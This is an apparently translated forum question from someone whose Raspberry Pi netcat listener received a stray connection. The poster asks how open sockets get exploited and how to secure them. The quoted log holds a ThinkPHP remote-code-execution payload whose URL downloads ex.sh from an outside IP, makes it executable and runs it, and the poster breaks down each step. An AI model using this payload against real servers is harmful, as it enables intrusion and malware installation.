Фон
Я играл с netcat и пытался соединить с ним два моих малиновых писа. Я подключил pi1 через tcp к pi2, где у меня запущен экземпляр netcat.
Я запустил netcat с помощью следующей команды:
nc -nvlp 12345
Варианты:
- n: нет DNS-запросов
- v: многословный
- l: прослушивать входящие соединения
- p: прослушивать предоставленный порт (12345)
Задача
При запуске команды неизвестный IP-адрес подключился к моему pi2 и попытался сделать что-то странное. Это вывод, который я получил:
pi2@raspberrypi:~ $ nc -nvlp 12345
Listening on [0.0.0.0] (family 0, port 12345)
Connection from 167.99.214.206 46768 received!
GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://167.99.219.142/ex.sh;chmod%20777%20ex.sh;sh%20ex.sh HTTP/1.1
Host: 127.0.0.1
User-Agent: Sefa
Accept: */*
Accept-Language: en-US,en;q=0.8
Connection: Keep-Alive
Мои выводы
Интересная часть - строка GET
. Насколько я понимаю, он пытался сделать следующее:
cd /tmp; # Go to temp
wget http://167.99.219.142/ex.sh # Download a file from the connected IP
chmod 777 ex.sh; # Make downloaded file executable
sh ex.sh # Execute downloaded file
Однако, когда я заглянул в папку / tmp, я не смог найти ни одного файла, но вполне возможно, что он удалил себя после выполнения.
Я посмотрел IP-адрес здесь , но злоумышленник, вероятно, использовал VPN и может быть откуда угодно.
Вопрос
Действительно ли так просто выполнить код на любом открытом сокете netcat и как я могу сделать его более безопасным в будущем? Я знаю, что передаваемые данные не зашифрованы, но мне было все равно, но если кто-нибудь сможет выполнить код на моем оборудовании, я воздержусь от его использования в будущем.
Я благодарен за любую информацию, которую вы можете дать мне по этой теме.